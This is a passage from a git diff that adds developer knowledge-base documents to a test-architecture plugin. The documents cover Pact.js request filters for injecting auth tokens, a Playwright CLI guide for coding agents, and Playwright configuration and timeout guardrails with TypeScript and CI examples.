+// ✅ Selector strategy adapts to PACT_BREAKING_CHANGE env var
+const opts = buildVerifierOptions({
+  /* ... */
+});
+// Selectors chosen automatically based on environment
+```
+
+_Source: @seontechnologies/pactjs-utils provider-verifier module, pact-js-example-provider CI workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-request-filter.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-request-filter.md
new file mode 100644
index 0000000..d046cf4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-request-filter.md
@@ -0,0 +1,224 @@
+# Pact.js Utils Request Filter
+
+## Principle
+
+Use `createRequestFilter` and `noOpRequestFilter` from `@seontechnologies/pactjs-utils` to inject authentication headers during provider verification. The pluggable token generator pattern prevents double-Bearer bugs and separates auth concerns from verification logic.
+
+## Rationale
+
+### Problems with manual request filters
+
+- **Express type gymnastics**: Pact's `requestFilter` expects `(req, res, next) => void` with Express-compatible types — but Pact doesn't re-export these types
+- **Double-Bearer bug**: Easy to write `Authorization: Bearer Bearer ${token}` when the token generator already includes the prefix
+- **Inline complexity**: Auth logic mixed with verifier config makes tests harder to read
+- **No-op boilerplate**: Providers without auth still need a pass-through function or `undefined`
+
+### Solutions
+
+- **`createRequestFilter`**: Accepts `{ tokenGenerator: () => string }` — generator returns raw token value synchronously, filter adds `Bearer ` prefix
+- **`noOpRequestFilter`**: Pre-built pass-through for providers without auth requirements
+- **Bearer prefix contract**: `tokenGenerator` returns raw value (e.g., `"abc123"`), filter always adds `"Bearer "` — impossible to double-prefix
+
+## Pattern Examples
+
+### Example 1: Basic Auth Injection
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    // tokenGenerator returns raw token — filter adds "Bearer " prefix
+    tokenGenerator: () => 'test-auth-token-123',
+  }),
+});
+
+// Every request during verification will have:
+// Authorization: Bearer test-auth-token-123
+```
+
+**Key Points**:
+
+- `tokenGenerator` is **synchronous** (`() => string`) — if you need async token fetching, resolve the token before creating the filter
+- Return the raw token value, NOT `"Bearer ..."` — the filter adds the prefix
+- Filter sets `Authorization` header on every request during verification
+
+### Example 2: Dynamic Token (Pre-resolved)
+
+```typescript
+import { createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// Since tokenGenerator is synchronous, fetch the token before creating the filter
+let cachedToken: string;
+
+async function setupRequestFilter() {
+  const response = await fetch('http://localhost:8080/auth/token', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: JSON.stringify({
+      clientId: process.env.TEST_CLIENT_ID,
+      clientSecret: process.env.TEST_CLIENT_SECRET,
+    }),
+  });
+  const { access_token } = await response.json();
+  cachedToken = access_token;
+}
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => cachedToken, // Synchronous — returns pre-fetched token
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SecureAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter,
+});
+```
+
+### Example 3: No-Auth Provider
+
+```typescript
+import { buildVerifierOptions, noOpRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// For providers that don't require authentication
+const opts = buildVerifierOptions({
+  provider: 'PublicAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: noOpRequestFilter,
+});
+
+// noOpRequestFilter is equivalent to: (req, res, next) => next()
+```
+
+### Example 4: Integration with buildVerifierOptions
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+// Complete provider verification setup
+const stateHandlers: StateHandlers = {
+  'user is authenticated': async () => {
+    // Auth state is handled by the request filter, not state handler
+  },
+  'movie exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+};
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'fallback-token',
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: process.env.PORT ?? '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter,
+});
+
+// Run verification
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Bearer prefix contract**: `tokenGenerator` returns raw value → filter adds `"Bearer "` → impossible to double-prefix
+- **Synchronous only**: `tokenGenerator` must return `string` (not `Promise<string>`) — pre-resolve async tokens before creating the filter
+- **Separation of concerns**: Auth logic in `createRequestFilter`, verification logic in `buildVerifierOptions`
+- **noOpRequestFilter**: Use for providers without auth — cleaner than `undefined` or inline no-op
+- **Express compatible**: The returned filter matches Pact's expected `(req, res, next) => void` signature
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, utility table, decision tree
+- `pactjs-utils-provider-verifier.md` — buildVerifierOptions integration
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual Bearer prefix with double-prefix risk
+
+```typescript
+// ❌ Risk of double-prefix: "Bearer Bearer token"
+requestFilter: (req, res, next) => {
+  const token = getToken(); // What if getToken() returns "Bearer abc123"?
+  req.headers['authorization'] = `Bearer ${token}`;
+  next();
+};
+```
+
+### Right: Use createRequestFilter with raw token
+
+```typescript
+// ✅ tokenGenerator returns raw value — filter handles prefix
+requestFilter: createRequestFilter({
+  tokenGenerator: () => getToken(), // Returns "abc123", not "Bearer abc123"
+});
+```
+
+### Wrong: Inline auth logic in verifier config
+
+```typescript
+// ❌ Auth logic mixed with verifier config
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  requestFilter: (req, res, next) => {
+    const clientId = process.env.CLIENT_ID;
+    const clientSecret = process.env.CLIENT_SECRET;
+    // 10 lines of token fetching logic...
+    req.headers['authorization'] = `Bearer ${token}`;
+    next();
+  },
+  // ... rest of config
+};
+```
+
+### Right: Separate auth into createRequestFilter
+
+```typescript
+// ✅ Clean separation — async setup wraps token fetch (CommonJS-safe)
+async function setupVerifierOptions() {
+  const token = await fetchAuthToken(); // Resolve async token BEFORE creating filter
+
+  const requestFilter = createRequestFilter({
+    tokenGenerator: () => token, // Synchronous — returns pre-fetched value
+  });
+
+  return buildVerifierOptions({
+    provider: 'my-api',
+    port: '3001',
+    includeMainAndDeployed: true,
+    requestFilter,
+    stateHandlers: {
+      /* ... */
+    },
+  });
+}
+
+// In tests/hooks, callers can await setupVerifierOptions():
+// const opts = await setupVerifierOptions();
+```
+
+_Source: @seontechnologies/pactjs-utils request-filter module, pact-js-example-provider verification tests_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/playwright-cli.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/playwright-cli.md
new file mode 100644
index 0000000..a80a91b
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/playwright-cli.md
@@ -0,0 +1,280 @@
+# Playwright CLI — Browser Automation for Coding Agents
+
+## Principle
+
+When an AI agent needs to look at a webpage — take a snapshot, grab selectors, capture a screenshot — it shouldn't have to load thousands of tokens of DOM trees and tool schemas into its context window just to do that. Playwright CLI gives the agent a lightweight way to talk to a browser through simple shell commands, keeping the context window free for reasoning and code generation.
+
+## Rationale
+
+Playwright MCP is powerful, but it's heavy. Every interaction loads full accessibility trees and tool definitions into the LLM context. That's fine for complex, stateful flows where you need rich introspection. But for the common case — "open this page, tell me what's on it, take a screenshot" — it's overkill.
+
+Playwright CLI solves this by returning concise **element references** (`e15`, `e21`) instead of full DOM dumps. The result: ~93% fewer tokens per interaction, which means the agent can run longer sessions, reason more deeply, and still have context left for your actual code.
+
+**The trade-off is simple:**
+
+- **CLI** = fast, lightweight, stateless — great for quick looks at pages
+- **MCP** = rich, stateful, full-featured — great for complex multi-step automation
+
+TEA uses both where each shines (see `tea_browser_automation: "auto"`).
+
+## Prerequisites
+
+```bash
+npm install -g @playwright/cli@latest    # Install globally (Node.js 18+)
+playwright-cli install --skills          # Register as an agent skill
+```
+
+The global npm install is one-time. Run `playwright-cli install --skills` from your project root to register skills in `.claude/skills/` (works with Claude Code, GitHub Copilot, and other coding agents). Agents without skills support can use the CLI directly via `playwright-cli --help`. TEA documents this during installation but does not run it for you.
+
+## How It Works
+
+The agent interacts with the browser through shell commands. Each command is a single, focused action:
+
+```bash
+# 1. Open a page
+playwright-cli -s=tea-explore open https://app.com/login
+
+# 2. Take a snapshot — returns element references, not DOM trees
+playwright-cli -s=tea-explore snapshot
+# Output: [{ref: "e15", role: "textbox", name: "Email"},
+#          {ref: "e21", role: "textbox", name: "Password"},
+#          {ref: "e33", role: "button", name: "Sign In"}]
+
+# 3. Interact using those references
+playwright-cli -s=tea-explore fill e15 "user@example.com"
+playwright-cli -s=tea-explore fill e21 "password123"
+playwright-cli -s=tea-explore click e33
+
+# 4. Capture evidence
+playwright-cli -s=tea-explore screenshot --filename=login-flow.png
+
+# 5. Clean up
+playwright-cli -s=tea-explore close
+```
+
+The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows.
+
+## What TEA Uses It For
+
+**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In":
+
+```
+snapshot ref {role: "button", name: "Sign In"}
+  → generates: page.getByRole('button', { name: 'Sign In' })
+```
+
+**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation.
+
+**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session.
+
+**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window.
+
+## How CLI Relates to Playwright Utils and API Testing
+
+CLI and playwright-utils are **complementary tools that work at different layers**:
+
+|              | Playwright CLI                               | Playwright Utils                                 |
+| ------------ | -------------------------------------------- | ------------------------------------------------ |
+| **When**     | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) |
+| **What**     | Shell commands to observe your app           | Fixtures and helpers imported in test files      |
+| **Examples** | `snapshot`, `screenshot`, `network`          | `apiRequest`, `auth-session`, `network-recorder` |
+
+They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils:
+
+```bash
+# Agent uses CLI to observe network traffic on the dashboard page
+playwright-cli -s=tea-discover open https://app.com/dashboard
+playwright-cli -s=tea-discover network
+# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200
+playwright-cli -s=tea-discover close
+```
+
+```typescript
+// Agent generates API tests using what it discovered, with playwright-utils
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('GET /api/users returns user list', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User[]>({
+    method: 'GET',
+    path: '/api/users',
+  });
+  expect(status).toBe(200);
+  expect(body.length).toBeGreaterThan(0);
+});
+```
+
+**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically:
+
+```bash
+# API test fails in CI → open the trace artifact
+npx playwright trace open test-results/api-users/trace.zip
+
+# What HTTP call failed?
+npx playwright trace requests --failed
+# Output: #3  POST /api/users  → 422  12ms
+
+# Full request/response details (headers, body, timing)
+npx playwright trace request 3
+
+# What assertion failed and why?
+npx playwright trace errors
+
+# Done
+npx playwright trace close
+```
+
+This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures.
+
+**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging.
+
+**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_.
+
+## Session Isolation
+
+Every CLI command targets a named session. This prevents workflows from interfering with each other:
+
+```bash
+# Workflow A uses one session
+playwright-cli -s=tea-explore open https://app.com
+
+# Workflow B uses a different session (can run in parallel)
+playwright-cli -s=tea-verify open https://app.com/admin
+```
+
+For parallel safety (multiple agents on the same machine), append a unique suffix:
+
+```bash
+playwright-cli -s=tea-explore-<timestamp> open https://app.com
+```
+
+## Autonomous Trace Investigation (Playwright 1.59+)
+
+For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents. Instead of downloading traces and opening the GUI Trace Viewer, agents can now consume the entire trace context directly from the command line.
+
+### Debug a Failing Test (CLI Mode)
+
+```bash
+# Start the test in CLI debug mode — no GUI Inspector, agent-friendly output
+npx playwright test --debug=cli
+playwright-cli attach <session-id>
+playwright-cli --session <session-id> step-over
+```
+
+With `--debug=cli`, the agent can:
+
+- Step through test execution in real-time
+- Inspect the page's HTML source at each step
+- Review network calls and console logs at the moment of failure
+- Capture before/after snapshots without opening a browser
+
+### Investigate a Trace Artifact
+
+```bash
+# Open a trace from CI or local runs — this starts a session
+npx playwright trace open test-results/<run>/trace.zip
+
+# List all actions as a numbered tree (# column = 1-based ordinal)
+npx playwright trace actions
+# Output: #  Time     Action                Duration
+#         1  0:00.00  navigate(...)         120ms
+#         2  0:00.12  fill(#email, ...)     45ms
+#         ...
+#         9  0:01.50  expect(toBeVisible)   ✗ 30s
+
+# Filter to failing assertions
+npx playwright trace actions --grep="expect"
+
+# Drill into action #9 (the ordinal from the list above)
+npx playwright trace action 9
+
+# See the page snapshot after that action (valid: before | input | after)
+npx playwright trace snapshot 9 --name after
+
+# Other useful subcommands
+npx playwright trace errors                  # errors with stack traces
+npx playwright trace requests --failed       # failed network requests
+npx playwright trace console --errors-only   # console errors
+
+# Close when done (removes extracted data)
+npx playwright trace close
+```
+
+### Autonomous Diagnostic Loop
+
+When TEA encounters a failing test in healing/review mode, the recommended investigation flow is:
+
+1. **Run with `--debug=cli`** to step through the failure and identify the failing action
+2. **Get a trace artifact** — configure `trace: 'retain-on-failure'` in `playwright.config.ts` (recommended), add `--trace=retain-on-failure` to the test run, or use an existing CI trace artifact. For `playwright-cli` sessions (not `--debug=cli`), use `tracing-start` / `tracing-stop` instead.
+3. **Filter to assertions** (`trace actions --grep="expect"`) to find the failure point
+4. **Inspect the snapshot** (`trace snapshot <n> --name after`) to see exact page state at failure
+5. **Analyze network/console** to rule out backend issues or timing problems
+6. **Propose a fix** — updated locator, added wait, or flagged flake for human review
+
+This reduces Mean Time to Repair (MTTR) by giving the agent full failure context rather than just an error message.
+
+### When to Use Each Tool
+
+- `playwright-cli` session commands remain the best lightweight tool for page exploration and selector verification.
+- `npx playwright test --debug=cli` is better for stepping through an already-written failing test (agent-native, no GUI).
+- `npx playwright trace ...` is better for understanding flakes and assertion failures from saved artifacts.
+
+If your environment exposes the Playwright dashboard or bound-browser flow, it can help humans inspect what an agent is doing in the background, but TEA should treat that as optional observability rather than a hard dependency.
+
+### Binding a Browser for Agent Inspection (`browser.bind()`)
+
+Playwright 1.59 added `browser.bind()` — a programmatic API that makes a running browser instance available to `playwright-cli` and MCP clients. This is the bridge between "a test is running" and "an agent can see what the test sees."
+
+```typescript
+// In a test or fixture: bind the browser so playwright-cli can attach
+const { endpoint } = await browser.bind('my-debug-session', {
+  workspaceDir: process.cwd(),
+});
+// Now: playwright-cli attach my-debug-session
+```
+
+**When TEA uses this:**
+
+- **Debugging a complex E2E failure** — A test fixture calls `browser.bind()` before the failing scenario, then TEA runs `playwright-cli attach` to inspect live page state, network, and console without re-running the test from scratch.
+- **Bridging CLI and MCP** — A bound browser is accessible to both `playwright-cli` and `@playwright/mcp`. TEA's `auto` mode can start with lightweight CLI inspection and escalate to MCP if richer introspection is needed, all against the same browser instance.
+- **CI artifact enhancement** — A CI helper can bind the browser during test runs, letting a post-failure agent attach and investigate before the process exits.
+
+Call `await browser.unbind()` when done to release the session (async — must be awaited).
+
+## Command Quick Reference
+
+| What you want to do       | Command                                          |
+| ------------------------- | ------------------------------------------------ |
+| Open a page               | `open <url>`                                     |
+| See what's on the page    | `snapshot`                                       |
+| Take a screenshot         | `screenshot [--filename=path]`                   |
+| Click something           | `click <ref>`                                    |
+| Type into a field         | `fill <ref> <text>`                              |
+| Navigate                  | `goto <url>`, `go-back`, `reload`                |
+| Mock a network request    | `route <pattern> --status=200 --body='...'`      |
+| Start recording a trace   | `tracing-start`                                  |
+| Stop and save the trace   | `tracing-stop`                                   |
+| Save auth state for reuse | `state-save auth.json`                           |
+| Load saved auth state     | `state-load auth.json`                           |
+| See network requests      | `network`                                        |
+| Manage tabs               | `tab-list`, `tab-new`, `tab-close`, `tab-select` |
+| Close the session         | `close`                                          |
+
+## When CLI vs MCP (Auto Mode Decision)
+
+| Situation                             | Tool | Why                                |
+| ------------------------------------- | ---- | ---------------------------------- |
+| "What's on this page?"                | CLI  | One-shot snapshot, no state needed |
+| "Verify this selector exists"         | CLI  | Single check, minimal tokens       |
+| "Capture a screenshot for evidence"   | CLI  | Stateless capture                  |
+| "Walk through a multi-step wizard"    | MCP  | State carries across steps         |
+| "Debug why this test fails" (healing) | CLI  | `--debug=cli` + trace analysis     |
+| "Record a drag-and-drop flow"         | MCP  | Complex interaction semantics      |
+
+## Related Fragments
+
+- `overview.md` — Playwright Utils installation and fixture patterns (the test code layer that CLI complements)
+- `api-request.md` — Typed HTTP client for API tests (CLI discovers endpoints, apiRequest tests them)
+- `api-testing-patterns.md` — Pure API test patterns (when CLI isn't needed)
+- `auth-session.md` — Token management (CLI `state-save` informs auth-session usage)
+- `selector-resilience.md` — Robust selector strategies (CLI verifies them against real DOM)
+- `visual-debugging.md` — Trace viewer usage (CLI captures traces)
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/playwright-config.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/playwright-config.md
new file mode 100644
index 0000000..e4843ce
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/playwright-config.md
@@ -0,0 +1,734 @@
+# Playwright Configuration Guardrails
+
+## Principle
+
+Load environment configs via a central map (`envConfigMap`), standardize timeouts (action 15s, navigation 30s, expect 10s, test 60s), emit HTML + JUnit reporters, and store artifacts under `test-results/` for CI upload. Keep `.env.example`, `.nvmrc`, and browser dependencies versioned so local and CI runs stay aligned.
+
+## Rationale
+
+Environment-specific configuration prevents hardcoded URLs, timeouts, and credentials from leaking into tests. A central config map with fail-fast validation catches missing environments early. Standardized timeouts reduce flakiness while remaining long enough for real-world network conditions. Consistent artifact storage (`test-results/`, `playwright-report/`) enables CI pipelines to upload failure evidence automatically. Versioned dependencies (`.nvmrc`, `package.json` browser versions) eliminate "works on my machine" issues between local and CI environments.
+
+## Pattern Examples
+
+### Example 1: Environment-Based Configuration
+
+**Context**: When testing against multiple environments (local, staging, production), use a central config map that loads environment-specific settings and fails fast if `TEST_ENV` is invalid.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Central config loader
+import { config as dotenvConfig } from 'dotenv';
+import path from 'path';
+
+// Load .env from project root
+dotenvConfig({
+  path: path.resolve(__dirname, '../../.env'),
+});
+
+// Central environment config map
+const envConfigMap = {
+  local: require('./playwright/config/local.config').default,
+  staging: require('./playwright/config/staging.config').default,
+  production: require('./playwright/config/production.config').default,
+};
+
+const environment = process.env.TEST_ENV || 'local';
+
+// Fail fast if environment not supported
+if (!Object.keys(envConfigMap).includes(environment)) {
+  console.error(`❌ No configuration found for environment: ${environment}`);
+  console.error(`   Available environments: ${Object.keys(envConfigMap).join(', ')}`);
+  process.exit(1);
+}
+
+console.log(`✅ Running tests against: ${environment.toUpperCase()}`);
+
+export default envConfigMap[environment as keyof typeof envConfigMap];
+```
+
+```typescript
+// playwright/config/base.config.ts - Shared base configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export const baseConfig = defineConfig({
+  testDir: path.resolve(__dirname, '../tests'),
+  outputDir: path.resolve(__dirname, '../../test-results'),
+  fullyParallel: true,
+  forbidOnly: !!process.env.CI,
+  retries: process.env.CI ? 2 : 0,
+  workers: process.env.CI ? 1 : undefined,
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'test-results/results.xml' }],
+    ['list'],
+  ],
+  use: {
+    actionTimeout: 15000,
+    navigationTimeout: 30000,
+    trace: 'retain-on-failure-and-retries',
+    screenshot: 'only-on-failure',
+    video: 'retain-on-failure',
+  },
+  globalSetup: path.resolve(__dirname, '../support/global-setup.ts'),
+  timeout: 60000,
+  expect: { timeout: 10000 },
+});
+```
+
+```typescript
+// playwright/config/local.config.ts - Local environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'http://localhost:3000',
+    video: 'off', // No video locally for speed
+  },
+  webServer: {
+    command: 'npm run dev',
+    url: 'http://localhost:3000',
+    wait: {
+      stdout: /ready|listening|localhost:/i,
+    },
+    reuseExistingServer: !process.env.CI,
+    timeout: 120000,
+  },
+});
+```
+
+```typescript
+// playwright/config/staging.config.ts - Staging environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://staging.example.com',
+    ignoreHTTPSErrors: true, // Allow self-signed certs in staging
+  },
+});
+```
+
+```typescript
+// playwright/config/production.config.ts - Production environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  retries: 3, // More retries in production
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://example.com',
+    video: 'on', // Always record production failures
+  },
+});
+```
+
+```bash
+# .env.example - Template for developers
+TEST_ENV=local
+API_KEY=your_api_key_here
+DATABASE_URL=postgresql://localhost:5432/test_db
+```
+
+**Key Points**:
+
+- Central `envConfigMap` prevents environment misconfiguration
+- Fail-fast validation with clear error message (available envs listed)
+- Base config defines shared settings, environment configs override
+- `.env.example` provides template for required secrets
+- `TEST_ENV=local` as default for local development
+- Production config increases retries and enables video recording
+
+### Example 2: Timeout Standards
+
+**Context**: When tests fail due to inconsistent timeout settings, standardize timeouts across all tests: action 15s, navigation 30s, expect 10s, test 60s. Expose overrides through fixtures rather than inline literals.
+
+**Implementation**:
+
+```typescript
+// playwright/config/base.config.ts - Standardized timeouts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  // Global test timeout: 60 seconds
+  timeout: 60000,
+
+  use: {
+    // Action timeout: 15 seconds (click, fill, etc.)
+    actionTimeout: 15000,
+
+    // Navigation timeout: 30 seconds (page.goto, page.reload)
+    navigationTimeout: 30000,
+  },
+
+  // Expect timeout: 10 seconds (all assertions)
+  expect: {
+    timeout: 10000,
+  },
+});
+```
+
+```typescript
+// playwright/support/fixtures/timeout-fixture.ts - Timeout override fixture
+import { test as base } from '@playwright/test';
+
+type TimeoutOptions = {
+  extendedTimeout: (timeoutMs: number) => Promise<void>;
+};
+
+export const test = base.extend<TimeoutOptions>({
+  extendedTimeout: async ({}, use, testInfo) => {
+    const originalTimeout = testInfo.timeout;
+
+    await use(async (timeoutMs: number) => {
+      testInfo.setTimeout(timeoutMs);
+    });
+
+    // Restore original timeout after test
+    testInfo.setTimeout(originalTimeout);
+  },
+});
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// Usage in tests - Standard timeouts (implicit)
+import { test, expect } from '@playwright/test';
+
+test('user can log in', async ({ page }) => {
+  await page.goto('/login'); // Uses 30s navigation timeout
+  await page.fill('[data-testid="email"]', 'test@example.com'); // Uses 15s action timeout
+  await page.click('[data-testid="login-button"]'); // Uses 15s action timeout
+
+  await expect(page.getByText('Welcome')).toBeVisible(); // Uses 10s expect timeout
+});
+```
+
+```typescript
+// Usage in tests - Per-test timeout override
+import { test, expect } from '../support/fixtures/timeout-fixture';
+
+test('slow data processing operation', async ({ page, extendedTimeout }) => {
+  // Override default 60s timeout for this slow test
+  await extendedTimeout(180000); // 3 minutes
+
+  await page.goto('/data-processing');
+  await page.click('[data-testid="process-large-file"]');
+
+  // Wait for long-running operation
+  await expect(page.getByText('Processing complete')).toBeVisible({
+    timeout: 120000, // 2 minutes for assertion
+  });
+});
+```
+
+```typescript
+// Per-assertion timeout override (inline)
+test('API returns quickly', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Override expect timeout for fast API (reduce flakiness detection)
+  await expect(page.getByTestId('user-name')).toBeVisible({ timeout: 5000 }); // 5s instead of 10s
+
+  // Override expect timeout for slow external API
+  await expect(page.getByTestId('weather-widget')).toBeVisible({ timeout: 20000 }); // 20s instead of 10s
+});
+```
+
+**Key Points**:
+
+- **Standardized timeouts**: action 15s, navigation 30s, expect 10s, test 60s (global defaults)
+- Fixture-based override (`extendedTimeout`) for slow tests (preferred over inline)
+- Per-assertion timeout override via `{ timeout: X }` option (use sparingly)
+- Avoid hard waits (`page.waitForTimeout(3000)`) - use event-based waits instead
+- CI environments may need longer timeouts (handle in environment-specific config)
+
+### Example 3: Artifact Output Configuration
+
+**Context**: When debugging failures in CI, configure artifacts (screenshots, videos, traces, HTML reports) to be captured on failure and stored in consistent locations for upload.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Artifact configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  // Output directory for test artifacts
+  outputDir: path.resolve(__dirname, './test-results'),
+
+  use: {
+    // Screenshot on failure only (saves space)
+    screenshot: 'only-on-failure',
+
+    // Video recording on failure + retry
+    video: 'retain-on-failure',
+
+    // Keep failed attempts and retries for flake analysis
+    trace: 'retain-on-failure-and-retries',
+  },
+
+  reporter: [
+    // HTML report (visual, interactive)
+    [
+      'html',
+      {
+        outputFolder: 'playwright-report',
+        open: 'never', // Don't auto-open in CI
+      },
+    ],
+
+    // JUnit XML (CI integration)
+    [
+      'junit',
+      {
+        outputFile: 'test-results/results.xml',
+      },
+    ],
+
+    // List reporter (console output)
+    ['list'],
+  ],
+});
+```
+
+```typescript
+// playwright/support/fixtures/artifact-fixture.ts - Custom artifact capture
+import { test as base } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+export const test = base.extend({
+  // Auto-capture console logs on failure
+  page: async ({ page }, use, testInfo) => {
+    const logs: string[] = [];
+
+    page.on('console', (msg) => {
+      logs.push(`[${msg.type()}] ${msg.text()}`);
+    });
+
+    await use(page);
+
+    // Save logs on failure
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const logsPath = path.join(testInfo.outputDir, 'console-logs.txt');
+      fs.writeFileSync(logsPath, logs.join('\n'));
+      testInfo.attachments.push({
+        name: 'console-logs',
+        contentType: 'text/plain',
+        path: logsPath,
+      });
+    }
+  },
+});
+```
+
+```yaml
+# .github/workflows/e2e.yml - CI artifact upload
+name: E2E Tests
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests
+        run: npm run test
+        env:
+          TEST_ENV: staging
+
+      # Upload test artifacts on failure
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results
+          path: test-results/
+          retention-days: 30
+
+      - name: Upload Playwright report
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-report
+          path: playwright-report/
+          retention-days: 30
+```
+
+```typescript
+// Example: Custom screenshot on specific condition
+test('capture screenshot on specific error', async ({ page }) => {
+  await page.goto('/checkout');
+
+  try {
+    await page.click('[data-testid="submit-payment"]');
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+  } catch (error) {
+    // Capture custom screenshot with timestamp
+    await page.screenshot({
+      path: `test-results/payment-error-${Date.now()}.png`,
+      fullPage: true,
+    });
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `screenshot: 'only-on-failure'` saves space (not every test)
+- `video: 'retain-on-failure'` captures full flow on failures
+- `trace: 'retain-on-failure-and-retries'` keeps enough history to compare failing retries against passing runs
+- `webServer.wait` is better than startup sleeps when local servers print readiness to stdout/stderr
+- HTML report at `playwright-report/` (visual debugging)
+- JUnit XML at `test-results/results.xml` (CI integration)
+- CI uploads artifacts on failure with 30-day retention
+- Custom fixture can capture console logs, network logs, etc.
+
+### Example 4: Parallelization Configuration
+
+**Context**: When tests run slowly in CI, configure parallelization with worker count, sharding, and fully parallel execution to maximize speed while maintaining stability.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Parallelization settings
+import { defineConfig } from '@playwright/test';
+import os from 'os';
+
+export default defineConfig({
+  // Run tests in parallel within single file
+  fullyParallel: true,
+
+  // Worker configuration
+  workers: process.env.CI
+    ? 1 // Serial in CI for stability (or 2 for faster CI)
